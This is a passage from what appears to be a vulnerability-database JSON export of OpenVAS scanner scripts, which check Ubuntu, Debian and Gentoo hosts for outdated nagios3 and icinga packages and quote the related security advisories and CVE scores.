re:\"ssh/login/release=UBUNTU(14\\.04 LTS|17\\.04|16\\.10|16\\.04 LTS)\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-deb.inc\");\n\nrelease = dpkg_get_ssh_release();\nif(!release)\n exit(0);\n\nres = \"\";\n\nif(release == \"UBUNTU14.04 LTS\")\n{\n\n if ((res = isdpkgvuln(pkg:\"nagios3-cgi\", ver:\"3.5.1-1ubuntu1.3\", rls:\"UBUNTU14.04 LTS\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isdpkgvuln(pkg:\"nagios3-core\", ver:\"3.5.1-1ubuntu1.3\", rls:\"UBUNTU14.04 LTS\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99);\n exit(0);\n}\n\n\nif(release == \"UBUNTU17.04\")\n{\n\n if ((res = isdpkgvuln(pkg:\"nagios3-cgi\", ver:\"3.5.1.dfsg-2.1ubuntu5.2\", rls:\"UBUNTU17.04\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isdpkgvuln(pkg:\"nagios3-core\", ver:\"3.5.1.dfsg-2.1ubuntu5.2\", rls:\"UBUNTU17.04\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99);\n exit(0);\n}\n\n\nif(release == \"UBUNTU16.10\")\n{\n\n if ((res = isdpkgvuln(pkg:\"nagios3-cgi\", ver:\"3.5.1.dfsg-2.1ubuntu3.3\", rls:\"UBUNTU16.10\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isdpkgvuln(pkg:\"nagios3-core\", ver:\"3.5.1.dfsg-2.1ubuntu3.3\", rls:\"UBUNTU16.10\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99);\n exit(0);\n}\n\n\nif(release == \"UBUNTU16.04 LTS\")\n{\n\n if ((res = isdpkgvuln(pkg:\"nagios3-cgi\", ver:\"3.5.1.dfsg-2.1ubuntu1.3\", rls:\"UBUNTU16.04 LTS\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isdpkgvuln(pkg:\"nagios3-core\", ver:\"3.5.1.dfsg-2.1ubuntu1.3\", rls:\"UBUNTU16.04 LTS\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99);\n exit(0);\n}", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2019-05-29T18:33:59", "bulletinFamily": "scanner", "cvelist": ["CVE-2016-9566", "CVE-2014-1878", "CVE-2013-7205", "CVE-2013-7108"], "description": "The remote host is missing an update for the ", "modified": "2019-03-13T00:00:00", "published": "2017-04-04T00:00:00", "id": "OPENVAS:1361412562310843124", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310843124", "type": "openvas", "title": "Ubuntu Update for nagios3 USN-3253-1", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n#\n# Ubuntu Update for nagios3 USN-3253-1\n#\n# Authors:\n# System Generated Check\n#\n# Copyright:\n# Copyright (C) 2017 Greenbone Networks GmbH, http://www.greenbone.net\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.843124\");\n script_version(\"$Revision: 14140 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2019-03-13 13:26:09 +0100 (Wed, 13 Mar 2019) $\");\n script_tag(name:\"creation_date\", value:\"2017-04-04 06:30:23 +0200 (Tue, 04 Apr 2017)\");\n script_cve_id(\"CVE-2013-7108\", \"CVE-2013-7205\", \"CVE-2014-1878\", \"CVE-2016-9566\");\n script_tag(name:\"cvss_base\", value:\"7.2\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:L/AC:L/Au:N/C:C/I:C/A:C\");\n script_tag(name:\"qod_type\", value:\"package\");\n script_name(\"Ubuntu Update for nagios3 USN-3253-1\");\n script_tag(name:\"summary\", value:\"The remote host is missing an update for the 'nagios3'\n package(s) announced via the referenced advisory.\");\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable version is present on the target host.\");\n script_tag(name:\"insight\", value:\"It was discovered that Nagios incorrectly\n handled certain long strings. A remote authenticated attacker could use this\n issue to cause Nagios to crash, resulting in a denial of service, or possibly\n obtain sensitive information. (CVE-2013-7108, CVE-2013-7205) It was discovered\n that Nagios incorrectly handled certain long messages to cmd.cgi. A remote\n attacker could possibly use this issue to cause Nagios to crash, resulting in a\n denial of service. (CVE-2014-1878) Dawid Golunski discovered that Nagios\n incorrectly handled symlinks when accessing log files. A local attacker could\n possibly use this issue to elevate privileges. In the default installation of\n Ubuntu, this should be prevented by the Yama link restrictions.\n (CVE-2016-9566)\");\n script_tag(name:\"affected\", value:\"nagios3 on Ubuntu 16.10,\n Ubuntu 16.04 LTS,\n Ubuntu 14.04 LTS\");\n script_tag(name:\"solution\", value:\"Please Install the Updated Packages.\");\n\n script_xref(name:\"USN\", value:\"3253-1\");\n script_xref(name:\"URL\", value:\"http://www.ubuntu.com/usn/usn-3253-1/\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2017 Greenbone Networks GmbH\");\n script_family(\"Ubuntu Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/ubuntu_linux\", \"ssh/login/packages\", re:\"ssh/login/release=UBUNTU(14\\.04 LTS|16\\.10|16\\.04 LTS)\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-deb.inc\");\n\nrelease = dpkg_get_ssh_release();\nif(!release)\n exit(0);\n\nres = \"\";\n\nif(release == \"UBUNTU14.04 LTS\")\n{\n\n if ((res = isdpkgvuln(pkg:\"nagios3-cgi\", ver:\"3.5.1-1ubuntu1.1\", rls:\"UBUNTU14.04 LTS\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isdpkgvuln(pkg:\"nagios3-core\", ver:\"3.5.1-1ubuntu1.1\", rls:\"UBUNTU14.04 LTS\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99);\n exit(0);\n}\n\n\nif(release == \"UBUNTU16.10\")\n{\n\n if ((res = isdpkgvuln(pkg:\"nagios3-cgi\", ver:\"3.5.1.dfsg-2.1ubuntu3.1\", rls:\"UBUNTU16.10\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isdpkgvuln(pkg:\"nagios3-core\", ver:\"3.5.1.dfsg-2.1ubuntu3.1\", rls:\"UBUNTU16.10\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99);\n exit(0);\n}\n\n\nif(release == \"UBUNTU16.04 LTS\")\n{\n\n if ((res = isdpkgvuln(pkg:\"nagios3-cgi\", ver:\"3.5.1.dfsg-2.1ubuntu1.1\", rls:\"UBUNTU16.04 LTS\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if ((res = isdpkgvuln(pkg:\"nagios3-core\", ver:\"3.5.1.dfsg-2.1ubuntu1.1\", rls:\"UBUNTU16.04 LTS\")) != NULL)\n {\n security_message(data:res);\n exit(0);\n }\n\n if (__pkg_match) exit(99);\n exit(0);\n}", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-01-29T20:12:13", "bulletinFamily": "scanner", "cvelist": ["CVE-2016-9566", "CVE-2018-18245", "CVE-2014-1878", "CVE-2013-7205", "CVE-2013-7108"], "description": "Several issues were corrected in nagios3, a monitoring and management\nsystem for hosts, services and networks.\n\nCVE-2018-18245\n\nMaximilian Boehner of usd AG found a cross-site scripting (XSS)\nvulnerability in Nagios Core. This vulnerability allows attackers\nto place malicious JavaScript code into the web frontend through\nmanipulation of plugin output. In order to do this the attacker\nneeds to be able to manipulate the output returned by nagios\nchecks, e.g. by replacing a plugin on one of the monitored\nendpoints. Execution of the payload then requires that an\nauthenticated user creates an alert summary report which contains\nthe corresponding output.\n\nCVE-2016-9566\n\nIt was discovered that local users with access to an account in\nthe nagios group are able to gain root privileges via a symlink\nattack on the debug log file.\n\nCVE-2014-1878\n\nAn issue was corrected that allowed remote attackers to cause a\nstack-based buffer overflow and subsequently a denial of service\n(segmentation fault) via a long message to cmd.cgi.\n\nCVE-2013-7205, CVE-2013-7108\n\nA flaw was corrected in Nagios that could be exploited to cause a\ndenial-of-service. This vulnerability is induced due to an\noff-by-one error within the process_cgivars() function, which can\nbe exploited to cause an out-of-bounds read by sending a\nspecially-crafted key value to the Nagios web UI.", "modified": "2020-01-29T00:00:00", "published": "2018-12-28T00:00:00", "id": "OPENVAS:1361412562310891615", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310891615", "type": "openvas", "title": "Debian LTS: Security Advisory for nagios3 (DLA-1615-1)", "sourceData": "# Copyright (C) 2018 Greenbone Networks GmbH\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (C) of the respective author(s)\n#\n# SPDX-License-Identifier: GPL-2.0-or-later\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.891615\");\n script_version(\"2020-01-29T08:22:52+0000\");\n script_cve_id(\"CVE-2013-7108\", \"CVE-2013-7205\", \"CVE-2014-1878\", \"CVE-2016-9566\", \"CVE-2018-18245\");\n script_name(\"Debian LTS: Security Advisory for nagios3 (DLA-1615-1)\");\n script_tag(name:\"last_modification\", value:\"2020-01-29 08:22:52 +0000 (Wed, 29 Jan 2020)\");\n script_tag(name:\"creation_date\", value:\"2018-12-28 00:00:00 +0100 (Fri, 28 Dec 2018)\");\n script_tag(name:\"cvss_base\", value:\"7.2\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:L/AC:L/Au:N/C:C/I:C/A:C\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_tag(name:\"qod_type\", value:\"package\");\n\n script_xref(name:\"URL\", value:\"https://lists.debian.org/debian-lts-announce/2018/12/msg00014.html\");\n\n script_category(ACT_GATHER_INFO);\n\n script_copyright(\"Copyright (C) 2018 Greenbone Networks GmbH http://greenbone.net\");\n script_family(\"Debian Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/debian_linux\", \"ssh/login/packages\", re:\"ssh/login/release=DEB8\");\n\n script_tag(name:\"affected\", value:\"nagios3 on Debian Linux\");\n\n script_tag(name:\"solution\", value:\"For Debian 8 'Jessie', these problems have been fixed in version\n3.5.1.dfsg-2+deb8u1.\n\nWe recommend that you upgrade your nagios3 packages.\");\n\n script_tag(name:\"summary\", value:\"Several issues were corrected in nagios3, a monitoring and management\nsystem for hosts, services and networks.\n\nCVE-2018-18245\n\nMaximilian Boehner of usd AG found a cross-site scripting (XSS)\nvulnerability in Nagios Core. This vulnerability allows attackers\nto place malicious JavaScript code into the web frontend through\nmanipulation of plugin output. In order to do this the attacker\nneeds to be able to manipulate the output returned by nagios\nchecks, e.g. by replacing a plugin on one of the monitored\nendpoints. Execution of the payload then requires that an\nauthenticated user creates an alert summary report which contains\nthe corresponding output.\n\nCVE-2016-9566\n\nIt was discovered that local users with access to an account in\nthe nagios group are able to gain root privileges via a symlink\nattack on the debug log file.\n\nCVE-2014-1878\n\nAn issue was corrected that allowed remote attackers to cause a\nstack-based buffer overflow and subsequently a denial of service\n(segmentation fault) via a long message to cmd.cgi.\n\nCVE-2013-7205, CVE-2013-7108\n\nA flaw was corrected in Nagios that could be exploited to cause a\ndenial-of-service. This vulnerability is induced due to an\noff-by-one error within the process_cgivars() function, which can\nbe exploited to cause an out-of-bounds read by sending a\nspecially-crafted key value to the Nagios web UI.\");\n\n script_tag(name:\"vuldetect\", value:\"This check tests the installed software version using the apt package manager.\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-deb.inc\");\n\nres = \"\";\nreport = \"\";\nif(!isnull(res = isdpkgvuln(pkg:\"nagios3\", ver:\"3.5.1.dfsg-2+deb8u1\", rls:\"DEB8\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"nagios3-cgi\", ver:\"3.5.1.dfsg-2+deb8u1\", rls:\"DEB8\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"nagios3-common\", ver:\"3.5.1.dfsg-2+deb8u1\", rls:\"DEB8\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"nagios3-core\", ver:\"3.5.1.dfsg-2+deb8u1\", rls:\"DEB8\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"nagios3-dbg\", ver:\"3.5.1.dfsg-2+deb8u1\", rls:\"DEB8\"))) {\n report += res;\n}\nif(!isnull(res = isdpkgvuln(pkg:\"nagios3-doc\", ver:\"3.5.1.dfsg-2+deb8u1\", rls:\"DEB8\"))) {\n report += res;\n}\n\nif(report != \"\") {\n security_message(data:report);\n} else if(__pkg_match) {\n exit(99);\n}\n", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2019-05-29T18:36:19", "bulletinFamily": "scanner", "cvelist": ["CVE-2013-7205", "CVE-2012-6096", "CVE-2013-7108"], "description": "Gentoo Linux Local Security Checks GLSA 201412-23", "modified": "2018-10-26T00:00:00", "published": "2015-09-29T00:00:00", "id": "OPENVAS:1361412562310121309", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310121309", "type": "openvas", "title": "Gentoo Security Advisory GLSA 201412-23", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n# $Id: glsa-201412-23.nasl 12128 2018-10-26 13:35:25Z cfischer $\n#\n# Gentoo Linux security check\n#\n# Authors:\n# Eero Volotinen <eero.volotinen@solinor.com>\n#\n# Copyright:\n# Copyright (c) 2015 Eero Volotinen, http://solinor.com\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.121309\");\n script_version(\"$Revision: 12128 $\");\n script_tag(name:\"creation_date\", value:\"2015-09-29 11:28:14 +0300 (Tue, 29 Sep 2015)\");\n script_tag(name:\"last_modification\", value:\"$Date: 2018-10-26 15:35:25 +0200 (Fri, 26 Oct 2018) $\");\n script_name(\"Gentoo Security Advisory GLSA 201412-23\");\n script_tag(name:\"insight\", value:\"Multiple vulnerabilities have been discovered in Nagios. Please review the CVE identifiers referenced below for details.\");\n script_tag(name:\"solution\", value:\"Update the affected packages to the latest available version.\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n script_xref(name:\"URL\", value:\"https://security.gentoo.org/glsa/201412-23\");\n script_cve_id(\"CVE-2012-6096\", \"CVE-2013-7108\", \"CVE-2013-7205\");\n script_tag(name:\"cvss_base\", value:\"7.5\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n script_tag(name:\"qod_type\", value:\"package\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/gentoo\", \"ssh/login/pkg\");\n script_category(ACT_GATHER_INFO);\n script_tag(name:\"summary\", value:\"Gentoo Linux Local Security Checks GLSA 201412-23\");\n script_copyright(\"Eero Volotinen\");\n script_family(\"Gentoo Local Security Checks\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-gentoo.inc\");\n\nres = \"\";\nreport = \"\";\n\nif((res=ispkgvuln(pkg:\"net-analyzer/nagios-core\", unaffected: make_list(\"ge 3.5.1\"), vulnerable: make_list(\"lt 3.5.1\"))) != NULL) {\n report += res;\n}\n\nif(report != \"\") {\n security_message(data:report);\n} else if (__pkg_match) {\n exit(99);\n}\n", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2017-07-25T10:48:38", "bulletinFamily": "scanner", "cvelist": ["CVE-2013-7106", "CVE-2013-7107", "CVE-2014-1878", "CVE-2014-2386", "CVE-2013-7108"], "description": "Multiple security issues have been found in the Icinga host and network\nmonitoring system (buffer overflows, cross-site request forgery, off-by\nones) which could result in the execution of arbitrary code, denial of\nservice or session hijacking.", "modified": "2017-07-10T00:00:00", "published": "2014-06-11T00:00:00", "id": "OPENVAS:702956", "href": "http://plugins.openvas.org/nasl.php?oid=702956", "type": "openvas", "title": "Debian Security Advisory DSA 2956-1 (icinga - security update)", "sourceData": "# OpenVAS Vulnerability Test\n# $Id: deb_2956.nasl 6637 2017-07-10 09:58:13Z teissa $\n# Auto-generated from advisory DSA 2956-1 using nvtgen 1.0\n# Script version: 1.0\n#\n# Author:\n# Greenbone Networks\n#\n# Copyright:\n# Copyright (c) 2014 Greenbone Networks GmbH http://greenbone.net\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (c) the respective author(s)\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n#\n\ntag_affected = \"icinga on Debian Linux\";\ntag_insight = \"Icinga is a modular monitoring framework for hosts, services, and\nnetworks, based on the Nagios project. It is designed to be easy to\nunderstand and modify to fit any need.\";\ntag_solution = \"For the stable distribution (wheezy), these problems have been fixed in\nversion 1.7.1-7.\n\nFor the testing distribution (jessie), these problems have been fixed in\nversion 1.11.0-1.\n\nFor the unstable distribution (sid), these problems have been fixed in\nversion 1.11.0-1.\n\nWe recommend that you upgrade your icinga packages.\";\ntag_summary = \"Multiple security issues have been found in the Icinga host and network\nmonitoring system (buffer overflows, cross-site request forgery, off-by\nones) which could result in the execution of arbitrary code, denial of\nservice or session hijacking.\";\ntag_vuldetect = \"This check tests the installed software version using the apt package manager.\";\n\nif(description)\n{\n script_id(702956);\n script_version(\"$Revision: 6637 $\");\n script_cve_id(\"CVE-2013-7106\", \"CVE-2013-7107\", \"CVE-2013-7108\", \"CVE-2014-1878\", \"CVE-2014-2386\");\n script_name(\"Debian Security Advisory DSA 2956-1 (icinga - security update)\");\n script_tag(name: \"last_modification\", value:\"$Date: 2017-07-10 11:58:13 +0200 (Mon, 10 Jul 2017) $\");\n script_tag(name: \"creation_date\", value:\"2014-06-11 00:00:00 +0200 (Wed, 11 Jun 2014)\");\n script_tag(name:\"cvss_base\", value:\"6.8\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:P/I:P/A:P\");\n\n script_xref(name: \"URL\", value: \"http://www.debian.org/security/2014/dsa-2956.html\");\n\n\n script_category(ACT_GATHER_INFO);\n\n script_copyright(\"Copyright (c) 2014 Greenbone Networks GmbH http://greenbone.net\");\n script_family(\"Debian Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/debian_linux\", \"ssh/login/packages\");\n script_tag(name: \"affected\", value: tag_affected);\n script_tag(name: \"insight\", value: tag_insight);\n# script_tag(name: \"impact\", value: tag_impact);\n script_tag(name: \"solution\", value: tag_solution);\n script_tag(name: \"summary\", value: tag_summary);\n script_tag(name: \"vuldetect\", value: tag_vuldetect);\n script_tag(name:\"qod_type\", value:\"package\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-deb.inc\");\n\nres = \"\";\nreport = \"\";\nif ((res = isdpkgvuln(pkg:\"icinga\", ver:\"1.7.1-7\", rls:\"DEB7.0\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"icinga-cgi\", ver:\"1.7.1-7\", rls:\"DEB7.0\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"icinga-common\", ver:\"1.7.1-7\", rls:\"DEB7.0\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"icinga-core\", ver:\"1.7.1-7\", rls:\"DEB7.0\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"icinga-dbg\", ver:\"1.7.1-7\", rls:\"DEB7.0\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"icinga-doc\", ver:\"1.7.1-7\", rls:\"DEB7.0\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"icinga-idoutils\", ver:\"1.7.1-7\", rls:\"DEB7.0\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"icinga\", ver:\"1.7.1-7\", rls:\"DEB7.1\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"icinga-cgi\", ver:\"1.7.1-7\", rls:\"DEB7.1\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"icinga-common\", ver:\"1.7.1-7\", rls:\"DEB7.1\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"icinga-core\", ver:\"1.7.1-7\", rls:\"DEB7.1\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"icinga-dbg\", ver:\"1.7.1-7\", rls:\"DEB7.1\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"icinga-doc\", ver:\"1.7.1-7\", rls:\"DEB7.1\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"icinga-idoutils\", ver:\"1.7.1-7\", rls:\"DEB7.1\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"icinga\", ver:\"1.7.1-7\", rls:\"DEB7.2\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"icinga-cgi\", ver:\"1.7.1-7\", rls:\"DEB7.2\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"icinga-common\", ver:\"1.7.1-7\", rls:\"DEB7.2\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"icinga-core\", ver:\"1.7.1-7\", rls:\"DEB7.2\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"icinga-dbg\", ver:\"1.7.1-7\", rls:\"DEB7.2\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"icinga-doc\", ver:\"1.7.1-7\", rls:\"DEB7.2\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"icinga-idoutils\", ver:\"1.7.1-7\", rls:\"DEB7.2\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"icinga\", ver:\"1.7.1-7\", rls:\"DEB7.3\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"icinga-cgi\", ver:\"1.7.1-7\", rls:\"DEB7.3\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"icinga-common\", ver:\"1.7.1-7\", rls:\"DEB7.3\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"icinga-core\", ver:\"1.7.1-7\", rls:\"DEB7.3\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"icinga-dbg\", ver:\"1.7.1-7\", rls:\"DEB7.3\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"icinga-doc\", ver:\"1.7.1-7\", rls:\"DEB7.3\")) != NULL) {\n report += res;\n}\nif ((res = isdpkgvuln(pkg:\"icinga-idoutils\", ver:\"1.7.1-7\", rls:\"DEB7.3\")) != NULL) {\n report += res;\n}\n\nif (report != \"\") {\n security_message(data:report);\n} else if (__pkg_match) {\n exit(99); # Not vulnerable.\n}\n", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}}, {"lastseen": "2019-05-29T18:37:45", "bulletinFamily": "scanner", "cvelist": ["CVE-2013-7106", "CVE-2013-7107", "CVE-2014-1878", "CVE-2014-2386", "CVE-2013-7108"], "description": "Multiple security issues have been found in the Icinga host and network\nmonitoring system (buffer overflows, cross-site request forgery, off-by\nones) which could result in the execution of arbitrary code, denial of\nservice or session hijacking.", "modified": "2019-03-19T00:00:00", "published": "2014-06-11T00:00:00", "id": "OPENVAS:1361412562310702956", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310702956", "type": "openvas", "title": "Debian Security Advisory DSA 2956-1 (icinga - security update)", "sourceData": "# OpenVAS Vulnerability Test\n# $Id: deb_2956.nasl 14302 2019-03-19 08:28:48Z cfischer $\n# Auto-generated from advisory DSA 2956-1 using nvtgen 1.0\n# Script version: 1.0\n#\n# Author:\n# Greenbone Networks\n#\n# Copyright:\n# Copyright (c) 2014 Greenbone Networks GmbH http://greenbone.net\n# Text descriptions are largely excerpted from the referenced\n# advisory, and are Copyright (c) the respective author(s)\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n#\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.702956\");\n script_version(\"$Revision: 14302 $\");\n script_cve_id(\"CVE-2013-7106\", \"CVE-2013-7107\", \"CVE-2013-7108\", \"CVE-2014-1878\", \"CVE-2014-2386\");\n script_name(\"Debian Security Advisory DSA 2956-1 (icinga - security update)\");\n script_tag(name:\"last_modification\", value:\"$Date: 2019-03-19 09:28:48 +0100 (Tue, 19 Mar 2019) $\");\n script_tag(name:\"creation_date\", value:\"2014-06-11 00:00:00 +0200 (Wed, 11 Jun 2014)\");\n script_tag(name:\"cvss_base\", value:\"6.8\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:M/Au:N/C:P/I:P/A:P\");\n\n script_xref(name:\"URL\", value:\"http://www.debian.org/security/2014/dsa-2956.html\");\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (c) 2014 Greenbone Networks GmbH http://greenbone.net\");\n script_family(\"Debian Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/debian_linux\", \"ssh/login/packages\", re:\"ssh/login/release=DEB7\");\n script_tag(name:\"affected\", value:\"icinga on Debian Linux\");\n script_tag(name:\"solution\", value:\"For the stable distribution (wheezy), these problems have been fixed in\nversion 1.7.1-7.\n\nFor the testing distribution (jessie), these problems have been fixed in\nversion 1.11.0-1.\n\nFor the unstable distribution (sid), these problems have been fixed in\nversion 1.11.0-1.\n\nWe recommend that you upgrade your icinga packages.\");\n script_tag(name:\"summary\", value:\"Multiple security issues have been found in the Icinga host and network\nmonitoring system (buffer overflows, cross-site request forgery, off-by\nones) which could result in the execution of arbitrary code, denial of\nservice or session hijacking.\");\n script_tag(name:\"vuldetect\", value:\"This check tests the installed software version using the apt package manager.\");\n script_tag(name:\"qod_type\", value:\"package\");\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n\n exit(0);\n}\n\ninclude(\"revisions-lib.inc\");\ninclude(\"pkg-lib-deb.inc\");\n\nres = \"\";\nreport = \"\";\nif((res = isdpkgvuln(pkg:\"icinga\", ver:\"1.7.1-7\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"icinga-cgi\", ver:\"1.7.1-7\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = isdpkgvuln(pkg:\"icinga-common\", ver:\"1.7.1-7\", rls:\"DEB7\")) != NULL) {\n report += res;\n}\nif((res = 